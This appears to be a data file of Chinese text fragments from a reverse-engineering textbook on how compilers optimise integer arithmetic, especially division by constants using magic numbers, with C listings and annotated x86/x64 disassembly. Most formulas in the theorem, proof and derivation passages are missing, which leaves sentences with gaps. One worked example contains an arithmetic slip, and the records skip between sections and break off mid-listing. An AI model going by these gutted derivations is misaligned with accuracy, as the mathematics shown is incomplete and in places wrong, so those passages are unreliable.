    {"text": "int main(int argc, char* argv[]){ // int n1 = argc; 在后面的代码中被常量代替 // int n2 = argc; 虽然不能用常量代替但是因为之后没有对n2进行修改所以引用 n2等价于引用argcn2则被删除这种方法称为复写传播 // n1 = n1 + 1; 其后即刻重新对n1赋值这句被删除了 // n1 = 1 + 2; 常量折叠等价于n1 = 3; // n1 = n1 + n2; 常量传播和复写传播等价于n1 = 3 + argc // printf(\"n1 = %d\\n\", n1); // 其后n1没有被访问可以用3 + argc代替 printf(\"n1 = %d\\n\", 3 + argc); return 0; } 编译器在编译期间通过对源码的分析判定第二个变量 n 2可省略因为它都被赋值为第一个参数arg c 。"},
    {"text": "设有二进制数Y其反码记为Y反假定其二进制长度为8位有 Y + Y反= 11111111B Y + Y反+ 1 = 0进位丢失 根据以上公式推论之 Y反+ 1 = 0 - Y<==>Y反+ 1 = -Y<==>Y补= -Y 以上就是负数的补码可以简化为取反加1的原因。"},
    {"text": "例如5-2就可对照公式进行如下转换。 5+0-2<==> 5+2反+1<==> 5+2补 有了这个特性所有的减法运算都可以转换为加法运算。"},
    {"text": "由于任何十进制数都可以转换成二进制数表示在二进制数中乘以2就等同于所有位依次向左移动1位。 如十进制数3的二进制数为00113乘以2后等于66转换成二进制数为0110。"},
    {"text": "4. 除法 1除法计算约定 除法运算对应的汇编指令分为有符号idiv和无符号div两种。 除法指令的执行周期较长效率也较低所以编译器会想尽办法用其他运算指令代替除法指令。 C++中的除法和数学中的除法不同在C++中除法运算不保留余数有专门求取余数的运算运算符为%也称之为取模运算。 对于整数除法C++的规则是仅保留整数部分小数部分完全舍弃。"},
    {"text": "在C语言中两个无符号整数相除结果依然是无符号的两个有符号整数相除结果依然是有符号的如果有符号数和无符号数混除其结果则是无符号的有符号数的最高位符号位被作为数据位对待然后作为无符号数参与计算。"},
    {"text": "向上取整也存在一个问题 c. 向零取整 所谓对 x 向零取整就是取得往0方向最接近 x 的整数值换言之就是放弃小数部分。 举例说明+3.5向零取整得到3-3.5向零取整得到-3。"},
    {"text": "// 代码1 printf(\"8 % -3 = %d\\r\\n\", 8 % -3); // 代码2 printf(\"-8 % -3 = %d\\r\\n\", -8 % -3); // 代码3 printf(\"-8 % 3 = %d\\r\\n\", -8 % 3); 如果你的答案是 8 % -3 = 2 -8 % -3 = -2 -8 % 3 = -2 恭喜你你答对了可以跳过本节直接阅读后面的内容。"},
    {"text": "设被除数为 a 除数为 b 商为 q 余数为 r 有如下重要性质。 性质1 | r |<| b | 性质2 a = bq + r 性质3 b = a - r ÷ q 性质4 q = a - r ÷ b 性质5 r = a - qb C语言规定整数除法向零取整那么将前面的“代码1”代入定义和运算性质得 q = a - r / b =9- r /-3=-2 r = a - q × b =8-[-2×-3]=2 将前面的“代码2”代入定义和运算性质得 q = a - r / b =-8- r /-3=2 r = a - q × b =-8-[2×-3]=-2 将前面的“代码3”代入定义和运算性质得 q = a - r / b =-8- r /3=-2 r = a - q × b =-8--2×3=-2 现在是不是明白自己错在哪里了 3相关定理和推导 对于下面的数学定义和推导如果你已经掌握或者暂无兴趣可跳过本节阅读后面的内容。"},
    {"text": "定理1 若 x 为实数有 进而可推导 当 x 不为整数时 定理2 若 x 为整数则 定理3 由于上下取整相对于0点是对称的所以 进而可推导 定理4 若 x 为实数 n 为整数有 结合定理1可推导 因 若 x < n 则 若 则 因 可得 x < n 。 推导6 有整数 a b 和实数 x a ≠ b 且 b ≠0有 若 则 若 则 。 证明设 q 为 a ÷ b 的商 r 为余数0≤| r |<| b |且 q 、 r 均为整数则 因 可得0≤ x ·| b |<1 因0≤| r |<| b |可得 因| r |+1≤| b |且| b |· x <1结合上式可得0≤| r |+| b |· x <| r |+1≤| b | 因0≤| r |+| b |· x <| b |故 。 当 r 、 b 同号时 当 r >0 b <0 时 -1< bx <0 r +1≤- b r + bx <- b 得到0< r + bx <- b 。"},
    {"text": "由于 且已证 可得 同理可证当 时则 。 推导7 设有 a 、 b 两整数当 b >0时有 当 b <0时有 证明1 设 q 为 a ÷ b 的商 r 为余数 根据定理4有 因 b >0| r |< b 有 因此得 。 同理可证 过程略。 证明2 设 q 为 a ÷ b 的商 r 为余数 根据定理4有 因 b <0| r |<| b |有 当 r >0时 当 r =0时 当 r <0时 得到 故 代入得 同理可证 过程略。"},
    {"text": "如果除数为常量就有了优化的余地。 根据除数值的相关特性编译器有对应的处理方式。 下面讨论编译器对除数为2的幂、非2的幂、负数等各类情况的处理方式。"},
    {"text": "a. 除数为无符号2的幂 除数为无符号2的幂优化如代码清单4-4所示。 代码清单4-4 除数为无符号2的幂优化Release版 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { printf(\"argc / 16 = %u\", (unsigned)argc / 16); //变量除以常量常量为无符号2的幂 return 0; } //x86_vs对应汇编代码讲解 00401010 mov eax, [esp+4] ;eax=argc 00401014 shr eax, 4 ;eax=argc>>4 00401017 push eax ;参数2 00401018 push offset aArgc16U ;参数1 \"argc / 16 = %u\" 0040101D call sub_401030 ;调用printf函数 00401022 add esp, 8 ;平衡栈 00401025 xor eax, eax 00401027 retn //x86_gcc对应汇编代码讲解 00402580 push ebp 00402581 mov ebp, esp 00402583 and esp, 0FFFFFFF0h ;对齐栈 00402586 sub esp, 10h 00402589 call ___main ;调用初始化函数 0040258E mov eax, [ebp+8] ;eax=argc 00402591 mov dword ptr [esp], offset aArgc16U ;参数1 \"argc / 16 = %u\" 00402598 shr eax, 4 ;eax=argc>>4 0040259B mov [esp+4], eax ;参数2 0040259F call _printf ;调用printf函数 004025A4 xor eax, eax 004025A6 leave ;释放环境变量空间恢复环境 004025A7 retn ;return 0 //x86_clang对应汇编代码讲解 00401000 mov eax, [esp+4] ;eax=argc 00401004 shr eax, 4 ;eax=argc>>4 00401007 push eax ;参数2 00401008 push offset aArgc16U ;参数1 \"argc / 16 = %u\" 0040100D call sub_401020 ;调用printf函数 00401012 add esp, 8 ;平衡栈 00401015 xor eax, eax 00401017 retn //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 28h 0000000140001014 shr ecx, 4 ;edx=argc>>4 0000000140001017 mov edx, ecx ;参数2 0000000140001019 lea rcx, aArgc16U ;参数1 \"argc / 16 = %u\" 0000000140001020 call sub_140001030 ;调用printf函数 0000000140001025 xor eax, eax 0000000140001027 add rsp, 28h 000000014000102B retn //x64_gcc对应汇编代码讲解 0000000140001000 sub rsp, 28h 0000000140001004 mov edx, ecx ;edx=argc 0000000140001006 shr edx, 4 ;edx=argc>>4 参数2 0000000140001009 lea rcx, aArgc16U ;参数1 \"argc / 16 = %u\" 0000000140001010 call sub_140001020 ;调用printf函数 0000000140001015 xor eax, eax 0000000140001017 add rsp, 28h 000000014000101B retn //x64_clang对应汇编代码讲解 0000000140001000 sub rsp, 28h 0000000140001004 mov edx, ecx ;edx=argc 0000000140001006 shr edx, 4 ;edx=argc>>4 参数2 0000000140001009 lea rcx, aArgc16U ;参数2 \"argc / 16 = %u\" 0000000140001010 call sub_140001020 ;调用printf函数 0000000140001015 xor eax, eax 0000000140001017 add rsp, 28h 000000014000101B retn 如代码清单4-4所示对于有符号除法C语言的除法规则是向0取整对无符号数做右移运算编译后使用的指令为shr相当于向下取整。"},
    {"text": "b. 除数为无符号非2的幂上 除数为无符号非2的幂优化如代码清单4-5所示。 代码清单4-5 除数为无符号非2的幂优化Release版 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { printf(\"argc / 3 = %u\", (unsigned)argc / 3); //变量除以常量常量为无符号非2的幂 return 0; } //x86_vs对应汇编代码讲解 00401010 mov eax, 0AAAAAAABh ;eax=M 00401015 mul dword ptr [esp+4] ;无符号乘法edx.eax=argc*M 00401019 shr edx, 1 ;无符号右移edx=argc*M >>32>>1 0040101B push edx ;参数2 0040101C push offset aArgc3U ;参数1 \"argc / 3 = %u\" 00401021 call sub_401030 ;调用printf函数 00401026 add esp, 8 ;平衡栈 00401029 xor eax, eax 0040102B retn //x86_gcc对应汇编代码讲解 00402580 push ebp 00402581 mov ebp, esp 00402583 and esp, 0FFFFFFF0h ;对齐栈 00402586 sub esp, 10h 00402589 call ___main ;调用初始化函数 0040258E mov edx, 0AAAAAAABh ;edx=M 00402593 mov dword ptr [esp], offset aArgc3U ;参数1 \"argc / 3 = %u\" 0040259A mov eax, edx ;eax=M 0040259C mul dword ptr [ebp+8] ;无符号乘法edx.eax=argc*M 0040259F shr edx, 1 ;无符号右移edx=argc*M >>32>>1 004025A1 mov [esp+4], edx ;参数2 004025A5 call _printf ;调用printf函数 004025AA xor eax, eax 004025AC leave 004025AD retn //x86_clang对应汇编代码讲解 00401000 mov eax, 0AAAAAAABh ;eax=M 00401005 mul dword ptr [esp+4] ;无符号乘法edx.eax=argc*M 00401009 shr edx, 1 ;无符号右移edx=argc*M>>32>>1 0040100B push edx ;参数2 0040100C push offset aArgc3U ;参数1 \"argc / 3 = %u\" 00401011 call sub_401020 ;调用printf函数 00401016 add esp, 8 ;平衡栈 00401019 xor eax, eax 0040101B retn //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 28h 0000000140001014 mov eax, 0AAAAAAABh ;eax=M 0000000140001019 mul ecx ;无符号乘法edx.eax=argc*M 000000014000101B lea rcx, aArgc3U ;参数1 \"argc / 3 = %u\" 0000000140001022 shr edx, 1 ;无符号右移edx=argc*M>>32>>1参数2 0000000140001024 call sub_140001030 ;调用printf函数 0000000140001029 xor eax, eax 000000014000102B add rsp, 28h 000000014000102F retn //x64_gcc对应汇编代码讲解 0000000000402BF0 push rbx 0000000000402BF1 sub rsp, 20h 0000000000402BF5 mov ebx, ecx ;ebx=argc 0000000000402BF7 call __main ;调用初始化函数 0000000000402BFC mov eax, ebx ;eax=argc 0000000000402BFE mov edx, 0AAAAAAABh ;edx=M 0000000000402C03 mul edx ;无符号乘法edx.eax=argc*M 0000000000402C05 lea rcx, aArgc3U ;参数1 \"argc / 3 = %u\" 0000000000402C0C shr edx, 1 ;无符号右移edx=argc*M>>32>>1参数2 0000000000402C0E call printf ;调用printf函数 0000000000402C13 xor eax, eax 0000000000402C15 add rsp, 20h 0000000000402C19 pop rbx 0000000000402C1A retn //x64_clang对应汇编代码讲解 0000000140001000 sub rsp, 28h 0000000140001004 mov eax, ecx ;eax=argc 0000000140001006 mov edx, 0AAAAAAABh ;edx=M 000000014000100B imul rdx, rax ;有符号乘法,rdx=argc*M 000000014000100F shr rdx, 21h ;无符号右移edx=argc*M>>33等价无符号乘法 0000000140001013 lea rcx, aArgc3U ;参数1 \"argc / 3 = %u\" 000000014000101A call sub_140001030 ;调用printf函数 000000014000101F xor eax, eax 0000000140001021 add rsp, 28h 0000000140001025 retn 如代码清单4-5所示除法的情况处理起来很复杂。"},
    {"text": "如此一来 就是一个编译期间先行计算出来的常量值了这个值常被称为Magic Number魔数、幻数我们先用 M 代替 这个Magic常量于是又有 简单证明如下 设 x 、 c 皆为整数 c 为正数当 x ≥0时有 反推过程 eax×arg c >>33 等价于 由此得 解方程得 注此处的“约等于”在后面讨论除法优化原则处详细解释。 于是我们反推出优化前的高级代码如下 argc/3 总结 当遇到数学优化公式 且使用mul无符号乘法时基本可判定为除法优化后的代码其除法原型为 x 除以常量 c 其操作数是优化前的被除数 x 接下来统计右移次数以确定公式中的 n 值然后使用公式 将魔数作为 M 值代入公式求解常量除数 c 的近似值四舍五入取整后即可恢复除法原型。"},
    {"text": "设 M 为常量24924925h以上代码等价于 0040101B处的sub ecxedx直接减去乘法结果的高32位数学表达式等价于 其后shr ecx1相当于除以2 其后add ecxedx再次加上乘法结果的高32位 其后shr ecx2等价于把加法的结果再次除以4 最后直接使用ecx乘法结果低32位ecx弃而不用。"},
    {"text": "先简化表达式 至此我们可以看出除法优化的原型2 32 + M 是带进位值的魔数。 编译器作者在实现除法优化的过程中通过计算得到的魔数超过了4字节整数范围为了避免大数运算的开销对此做了数学转换于是得到最开始的表达式规避了所有的大数计算问题。"},
    {"text": "若有 n =3 x 为ecx则有 数数看一共移动了几次。 ecx一共右移了3位因为是直接与edx运算并作为结果所以还要加上乘法的低32位共计35位最终 n 的取值为3。"},
    {"text": "已知M值为常量24924925h根据上述推导可得 解方程求 c 于是我们反推出优化前的高级代码为 argc/7 在计算魔数后如果值超出4字节整数的表达范围编译器会对其进行调整。 如上例中的arg c /7在计算魔数时编译器选择 但是其结果超出了4字节整数的表达范围所以编译器调整魔数的取值为 导致整个除法的推导也随之产生变化。 综上所证可推导出除法等价优化公式如下 设 总结 当遇到数学优化公式 时基本可判定其是除法优化后的代码除法原型为 x 除以常量 c mul可表明是无符号计算操作数是优化前的被除数 x 接下来统计右移的总次数以确定公式中的 n 值然后使用公式 将魔数作为 M 值代入公式求解常量除数 c 即可恢复除法原型。 d. 除数为有符号2的幂 除数为有符号2的幂优化如代码清单4-7所示。"},
    {"text": "代码清单4-7 除数为有符号2的幂优化Release版 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { printf(\"argc / 8 = %d\", argc / 8); //变量除以常量常量为2的幂 return 0; } //x86_vs对应汇编代码讲解 00401010 mov eax, [esp+4] ;eax = argc 00401014 cdq ;eax符号位扩展正数edx=0负数edx=0xffffffff 00401015 and edx, 7 ;负数edx=7正数edx=0 00401018 add eax, edx ;if(argc<0)eax=argc+7 ;if(argc>=0)eax=argc+0 0040101A sar eax, 3 ;if(argc<0)eax=(argc+7)>>3 ;if(argc >= 0)eax=argc>>3 0040101D push eax ;参数2 0040101E push offset aArgc8D ;参数1 \"argc / 8 = %d\" 00401023 call sub_401030 ;调用printf函数 00401028 add esp, 8 ;平衡栈 0040102B xor eax, eax 0040102D retn //x86_gcc对应汇编代码讲解 00402580 push ebp 00402581 mov ebp, esp 00402583 push ebx 00402584 and esp, 0FFFFFFF0h ;对齐栈 00402587 sub esp, 10h 0040258A mov ebx, [ebp+8] ;ebx = argc 0040258D call ___main ;调用初始化函数 00402592 mov dword ptr [esp], offset aArgc8D ;参数1 \"argc / 8 = %d\" 00402599 test ebx, ebx ;做与运算影响标志位 0040259B lea eax, [ebx+7] ;eax = argc + 7 0040259E cmovns eax, ebx ;条件执行不为负数执行 ;if(argc >= 0)eax=argc 004025A1 sar eax, 3 ;if(argc < 0)eax=(argc+7)>>3 ;if(argc >= 0)eax=argc>>3 004025A4 mov [esp+4], eax ;参数2 004025A8 call _printf ;调用printf函数 004025AD xor eax, eax 004025AF mov ebx, [ebp-4] 004025B2 leave 004025B3 retn //x86_clang对应汇编代码讲解 00401000 mov eax, [esp+4] ;eax = argc 00401004 mov ecx, eax ;ecx = argc 00401006 sar ecx, 1Fh ;ecx算术右移31位正数ecx=0负数ecx=0xffffffff 00401009 shr ecx, 1Dh ;ecx逻辑右移29位正数ecx=0负数ecx=7 0040100C add ecx, eax ;if(argc < 0)ecx=argc+7 ;if(argc >= 0)ecx=argc+0 0040100E sar ecx, 3 ;if(argc < 0)ecx=(argc+7)>>3 ;if(argc >= 0)ecx=argc>>3 00401011 push ecx ;参数2 00401012 push offset aArgc8D ;参数1 \"argc / 8 = %d\" 00401017 call sub_401030 ;调用printf函数 0040101C add esp, 8 ;平衡栈 0040101F xor eax, eax 00401021 retn //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 28h 0000000140001014 mov eax, ecx ;eax = argc 0000000140001016 lea rcx, aArgc8D;参数1 \"argc / 8 = %d\" 000000014000101D cdq ;eax符号位扩展正数edx=0负数edx=0xffffffff 000000014000101E and edx, 7 ;负数edx=7正数edx=0 0000000140001021 add edx, eax ;if(argc < 0)edx=argc+7 ;if(argc >= 0)edx=argc+0 0000000140001023 sar edx, 3 ;if(argc < 0)edx=(argc+7)>>3 ;if(argc >= 0)edx=argc>>3 参数2 0000000140001026 call sub_140001040 ;调用printf函数 000000014000102B xor eax, eax 000000014000102D add rsp, 28h 0000000140001031 retn //x64_gcc对应汇编代码讲解 0000000000402BF0 push rbx 0000000000402BF1 sub rsp, 20h 0000000000402BF5 mov ebx, ecx ;ebx = argc 0000000000402BF7 call __main ;调用初始化函数 0000000000402BFC lea edx, [rbx+7] ;edx = argc + 7 0000000000402BFF test ebx, ebx ;做与运算影响标志位 0000000000402C01 cmovns edx, ebx ;条件执行不为负数执行 ;if(argc >= 0)edx=argc 0000000000402C04 lea rcx, aArgc8D ;参数1 \"argc / 8 = %d\" 0000000000402C0B sar edx, 3 ;if(argc < 0)edx=(argc+7)>>3 ;if(argc >= 0)edx=argc>>3 参数2 0000000000402C0E call printf ;调用printf函数 0000000000402C13 xor eax, eax 0000000000402C15 add rsp, 20h 0000000000402C19 pop rbx 0000000000402C1A retn //x64_clang对应汇编代码讲解 0000000140001000 sub rsp, 28h 0000000140001004 mov eax, ecx ;eax = argc 0000000140001006 sar eax, 1Fh ;eax算术右移31位正数eax=0负数eax=0xffffffff 0000000140001009 shr eax, 1Dh ;eax逻辑右移29位正数eax=0负数eax=7 000000014000100C lea edx, [rax+rcx] ;if(argc < 0)edx=argc+7 ;if(argc >= 0)edx=argc+0 000000014000100F sar edx, 3 ;if(argc < 0)edx=(argc+7)>>3 ;if(argc >= 0)edx=argc>>3 参数2 0000000140001012 lea rcx, aArgc8D ;参数1 \"argc / 8 = %d\" 0000000140001019 call sub_140001030 ;调用printf函数 000000014000101E xor eax, eax 0000000140001020 add rsp, 28h 0000000140001024 retn C语言的除法规则是向0取整对有符号数做右移运算编译后使用的指令为sar相当于向下取整。"},
    {"text": "e. 除数为有符号非2的幂上 除数为有符号非2的幂优化如代码清单4-8所示。 代码清单4-8 除数为有符号非2的幂优化Release版 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { printf(\"argc / 9 = %d\", argc / 9); //变量除以常量常量为非2的幂 return 0; } //x86_vs对应汇编代码讲解 00401010 mov eax, 38E38E39h ;eax = M 00401015 imul dword ptr [esp+4] ;edx.eax=argc*M 00401019 sar edx, 1 ;edx=(argc*M>>32)>>1 0040101B mov eax, edx 0040101D shr eax, 1Fh ;eax=eax>>31取符号位 00401020 add eax, edx ;if(edx < 0)eax=((argc*M>>32)>>1)+1 ;if(edx >=0)eax=(argc*M>>32)>>1 00401022 push eax ;参数2 00401023 push offset aArgc9D ;参数1 \"argc / 9 = %d\" 00401028 call sub_401040 ;调用printf函数 0040102D add esp, 8 ;平衡栈 00401030 xor eax, eax 00401032 retn //x86_gcc对应汇编代码讲解 00402580 push ebp 00402581 mov ebp, esp 00402583 push ebx 00402584 and esp, 0FFFFFFF0h ;对齐栈 00402587 sub esp, 10h 0040258A mov ebx, [ebp+8] ;ebx = argc 0040258D call ___main ;调用初始化函数 00402592 mov edx, 38E38E39h ;edx = M 00402597 mov dword ptr [esp], offset aArgc9D ;参数1 \"argc / 9 = %d\" 0040259E mov eax, ebx ;eax = argc 004025A0 sar ebx, 1Fh ;argc是正数ebx=0 负数ebx=-1 004025A3 imul edx ;edx.eax=argc*M 004025A5 sar edx, 1 ;edx=(argc*M>>32)>>1 004025A7 sub edx, ebx ;if(edx < 0)edx=((argc*M>>32)>>1)+1 ;if(edx >=0)edx=(argc*M>>32)>>1 004025A9 mov [esp+4], edx ;参数2 004025AD call _printf ;调用printf函数 004025B2 xor eax, eax 004025B4 mov ebx, [ebp-4] 004025B7 leave 004025B8 retn //x86_clang对应汇编代码讲解 00401000 mov eax, 38E38E39h ;eax = M 00401005 imul dword ptr [esp+4] ;edx.eax=argc*M 00401009 mov eax, edx 0040100B sar edx, 1 ;edx=(argc*M>>32)>>1 0040100D shr eax, 1Fh ;eax=eax>>31取符号位 00401010 add edx, eax ;if(edx < 0)edx=((argc*M>>32)>>1)+1 ;if(edx >=0)edx=(argc*M>>32)>>1 00401012 push edx ;参数2 00401013 push offset aArgc9D ;参数1 \"argc / 9 = %d\" 00401018 call sub_401030 ;调用printf函数 0040101D add esp, 8 ;平衡栈 00401020 xor eax, eax 00401022 retn //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 28h 0000000140001014 mov eax, 38E38E39h;eax = M 0000000140001019 imul ecx ;edx.eax=argc*M 000000014000101B lea rcx, aArgc9D ;参数1 \"argc / 9 = %d\" 0000000140001022 sar edx, 1 ;edx=(argc*M>>32)>>1 0000000140001024 mov eax, edx 0000000140001026 shr eax, 1Fh ;eax=eax>>31取符号位 0000000140001029 add edx, eax ;if(edx < 0)edx=((argc*M>>32)>>1)+1 ;if(edx >=0)edx=(argc*M>>32)>>1参数2 000000014000102B call sub_140001040 ;调用printf函数 0000000140001030 xor eax, eax 0000000140001032 add rsp, 28h 0000000140001036 retn //x64_gcc对应汇编代码讲解 0000000000402BF0 push rbx 0000000000402BF1 sub rsp, 20h 0000000000402BF5 mov ebx, ecx ;ebx = argc 0000000000402BF7 call __main ;调用初始化函数 0000000000402BFC mov eax, ebx ;eax = argc 0000000000402BFE sar ebx, 1Fh ;argc是正数ebx=0、负数ebx=-1 0000000000402C01 mov edx, 38E38E39h;edx = M 0000000000402C06 imul edx ;edx.eax=argc*M 0000000000402C08 lea rcx, aArgc9D ;参数1 \"argc / 9 = %d\" 0000000000402C0F sar edx, 1 ;edx=(argc*M>>32)>>1 0000000000402C11 sub edx, ebx ;if(edx < 0)edx=((argc*M>>32)>>1)+1 ;if(edx >=0)edx=(argc*M>>32)>>1参数2 0000000000402C13 call printf ;调用printf函数 0000000000402C18 xor eax, eax 0000000000402C1A add rsp, 20h 0000000000402C1E pop rbx 0000000000402C1F retn //x64_clang对应汇编代码讲解 0000000140001000 sub rsp, 28h 0000000140001004 movsxd rax, ecx ;rax = argc符号扩展成64位 0000000140001007 imul rdx, rax, 38E38E39h ;rdx = argc * M 000000014000100E mov rax, rdx 0000000140001011 shr rax, 3Fh ;rax=rax>>63取符号位 0000000140001015 sar rdx, 21h ;rdx = argc*M>>33 0000000140001019 add edx, eax ;if(rdx < 0)edx=(argc*M>>33)+1 ;if(rdx >=0)edx=argc*M>>33参数2 000000014000101B lea rcx, aArgc9D ;参数1 \"argc / 9 = %d\" 0000000140001022 call sub_140001030 ;调用printf函数 0000000140001027 xor eax, eax 0000000140001029 add rsp, 28h 000000014000102D retn 如代码清单4-8所示和无符号2的幂有相似的地方也是乘以一个魔数。"},
    {"text": "在乘法指令中因为edx存放乘积数据的高32位字节所以直接使用edx等价于乘积右移了32位再算上00401019 sar edx1一共移动了33位。 在地址0040101B处eax得到了edx的值然后对eax右移了1Fh位也就是右移了31位。 这里有个很奇怪的加法移位的目的是得到有符号数的符号位如果结果是正数add eaxedx汇编代码的计算结果就是加0等于什么都没做如果是负数后面的代码直接使用edx作为计算结果就需要对除法的商调整加1。"},
    {"text": "简单证明如下 设 x 、 c 皆为整数 c 为正数当 x ≥0时有 当 x < 0时根据推导3 反推过程 eax×arg c >> 33 等价于 由此得 解方程得 于是我们反推出优化前的高级代码为 argc/9 总结 当遇到数学优化公式如果 x ≥0则 如果 x <0则 时基本可判定是除法优化后的代码其除法原型为 x 除以常量 c imul可表明是有符号计算其操作数是优化前的被除数 x 接下来统计右移的总次数以确定公式中的 n 值然后使用公式 将魔数作为 M 值代入公式求解常量除数 c 的近似值四舍五入取整后即可恢复除法原型。"},
    {"text": "请注意编译器在计算魔数时是作为无符号数处理的而代入到除法转换乘法的代码里又是作为有符号乘数处理的。 因为有符号数的最高位不是数值而是符号位所以对应的有符号乘法指令是不会让最高位参与数值计算的这样会导致乘数的数学意义和魔数不一致。 于是在有符号乘法中如果 的取值大于0x80000000最高位为1补码形式为负数实际参与乘法计算的是个负数其值应等价于 证明如下 设有符号整数 x 、无符号整数 y y ≥0x80000000我们定义 y 的有符号补码值表示为 y 补 y 的无符号值表示为 y 无。 比如当 y =0xffffffff时 y 补的真值为-1 y 无=2 32 -1。 对 x 、 y 进行有符号乘法根据求补计算规则可推出 y 补=2 32 - y 无因 y ≥0x80000000所以 y 补表达为负数其真值为-[2 32 - y 无]简化得到 y 补的真值=-[2 32 - y 无]= y 无-2 32 例如neg5=0xFFFFFFFB。 neg5的真值=-5=-2 32 -0xfffffffb=0xfffffffb-2 32 代入到有符号乘法 x · y 补= x ·[ y 无-2 32 ] 由此可得对于有符号整数 x 、无符号整数 y y ≥0x80000000当 x 、 y 进行有符号乘法计算时其结果等于 x ·[ y 无-2 32 ]若期望的乘法结果为 x · y 无则需要调整为 x · y 无= x ·[ y 无-2 32 ]+2 32 · x = x · y 补+2 32 · x 对于前面例题中的 在计算机补码中表示为负数根据以上推导 等价于 故其除法等价优化公式也相应调整 完全理解以上证明后我们回过头来分析代码清单4-7并还原高级代码。"},
    {"text": "00401010 mov eax, 92492493h 00401015 imul dword ptr [esp+4] 00401019 add edx, [esp+4] 0040101D sar edx, 2 这里先乘后加但是参与加法的是edx由于edx保留了乘法计算的高32位于是edx等价于 然后加上被除数arg c 对edx右移两位负数调整后直接使用edx中的值那么舍弃了低32位相当于一共右移了34位于是可推导原来的除数如下。"},
    {"text": "解方程得 于是我们反推出优化前的高级代码为 argc / 7 注意这里的arg c 是有符号整型因为指令中使用的是imul有符号乘法指令。 总结 当遇到数学优化公式如果 x ≥0则 如果 x <0则 时基本可判定是除法优化后的代码其除法原型为 x 除以常量 c imul表明是有符号计算其操作数是优化前的被除数 x 接下来统计右移的总次数以确定公式中的 n 值然后使用公式 将魔数作为 M 值代入公式求解常量除数 c 即可恢复除法原型。 g. 除数为有符号负2的幂 除数为有符号负2的幂优化如代码清单4-10所示。"},
    {"text": "总结 当遇到数学优化公式如果 x ≥0则 如果 x < 0则 时基本可判定是除法优化后的代码根据 n 的值可恢复除法原型。 h. 除数为有符号负非2的幂上 除数为有符号负非2的幂优化如代码清单4-11所示。"},
    {"text": "代码清单4-11 除数为有符号负非2的幂优化Release版 // C++源码 #include <stdio.h> int main(int argc, char* argv[]) { printf(\"argc / -5 = %d\", argc / -5); //变量除以常量常量为负非2的幂 return 0; } //x86_vs对应汇编代码讲解 00401010 mov eax, 99999999h ;eax = M 00401015 imul dword ptr [esp+4] ;edx.eax=argc*M 00401019 sar edx, 1 ;edx=argc*M>>32>>1 0040101B mov eax, edx 0040101D shr eax, 1Fh ;eax=edx>>31取符号位 00401020 add eax, edx ;if(edx < 0)eax=(argc*M>>32>>1)+1 ;if(edx >=0)eax=argc*M>>32>>1 00401022 push eax ;参数2 00401023 push offset aArgc5D ;参数1 \"argc / -5 = %d\" 00401028 call sub_401040 ;调用printf函数 0040102D add esp, 8 ;平衡栈 00401030 xor eax, eax 00401032 retn //x86_gcc对应汇编代码讲解 00402580 push ebp 00402581 mov ebp, esp 00402583 push ebx 00402584 and esp, 0FFFFFFF0h ;对齐栈 00402587 sub esp, 10h 0040258A mov ebx, [ebp+8] ;ebx=argc 0040258D call ___main ;调用初始化函数 00402592 mov edx, 66666667h ;edx=c 00402597 mov dword ptr [esp], offset aArgc5D ;参数1 \"argc / -5 = %d\" 0040259E mov eax, ebx ;eax=argc 004025A0 sar ebx, 1Fh ;argc正数ebx=0 负数ebx=0xffffffff 004025A3 imul edx ;edx.eax=argc*M 004025A5 sar edx, 1 ;edx=argc*M>>32>>1 004025A7 sub ebx, edx ;if(argc < 0)edx=-1-(argc*M>>32>>1) ;edx=-((argc*M>>32>>1) + 1) ;if(argc >=0)edx=-(argc*M>>32>>1) 004025A9 mov [esp+4], ebx ;参数2 004025AD call _printf ;调用printf函数 004025B2 xor eax, eax 004025B4 mov ebx, [ebp-4] 004025B7 leave 004025B8 retn //x86_clang对应汇编代码讲解 00401000 mov eax, 99999999h ;eax=M 00401005 imul dword ptr [esp+4] ;edx.eax=argc*M 00401009 mov eax, edx 0040100B sar edx, 1 ;edx=argc*M>>32>>1 0040100D shr eax, 1Fh ;eax=edx>>31取符号位 00401010 add edx, eax ;if(edx < 0)edx=(argc*M>>32>>1) + 1 ;if(edx >=0)edx=argc*M>>32>>1 00401012 push edx ;参数2 00401013 push offset aArgc5D ;参数1 \"argc / -5 = %d\" 00401018 call sub_401030 ;调用printf函数 0040101D add esp, 8 ;平衡栈 00401020 xor eax, eax 00401022 retn //x64_vs对应汇编代码讲解 0000000140001010 sub rsp, 28h 0000000140001014 mov eax, 99999999h;eax=M 0000000140001019 imul ecx ;edx.eax=argc*M 000000014000101B lea rcx, aArgc5D ;参数1 \"argc / -5 = %d\" 0000000140001022 sar edx, 1 ;edx=argc*M>>32>>1 0000000140001024 mov eax, edx 0000000140001026 shr eax, 1Fh ;eax=edx>>31取符号位 0000000140001029 add edx, eax ;if(edx < 0)edx=(argc*M>>32>>1) + 1 ;if(edx >=0)edx=argc*M>>32>>1 000000014000102B call sub_140001040 ;调用printf函数 0000000140001030 xor eax, eax 0000000140001032 add rsp, 28h 0000000140001036 retn //x64_gcc对应汇编代码讲解 0000000000402BF0 push rbx 0000000000402BF1 sub rsp, 20h 0000000000402BF5 mov ebx, ecx ;ebx=argc 0000000000402BF7 call __main ;调用初始化函数 0000000000402BFC mov eax, ebx ;eax=argc 0000000000402BFE sar ebx, 1Fh ;argc正数ebx=0 负数ebx=0xffffffff 0000000000402C01 mov edx, 66666667h;edx=M 0000000000402C06 imul edx ;edx.eax=argc*M 0000000000402C08 lea rcx, aArgc5D ;参数1 \"argc / -5 = %d\" 0000000000402C0F sar edx, 1 ;edx=argc*M>>32>>1 0000000000402C11 sub ebx, edx ;if(argc < 0)edx=-1-(argc*c>>32>>1) ;edx=-((argc*M>>32>>1) + 1) ;if(argc >=0)edx=-(argc*M>>32>>1) 0000000000402C13 mov edx, ebx ;参数2 0000000000402C15 call printf ;调用printf函数 0000000000402C1A xor eax, eax 0000000000402C1C add rsp, 20h 0000000000402C20 pop rbx 0000000000402C21 retn //x64_clang对应汇编代码讲解 0000000140001000 sub rsp, 28h 0000000140001004 movsxd rax, ecx ;rax=argc符号扩展成64位 0000000140001007 imul rdx, rax, 0FFFFFFFF99999999h ;argc*M 000000014000100E mov rax, rdx 0000000140001011 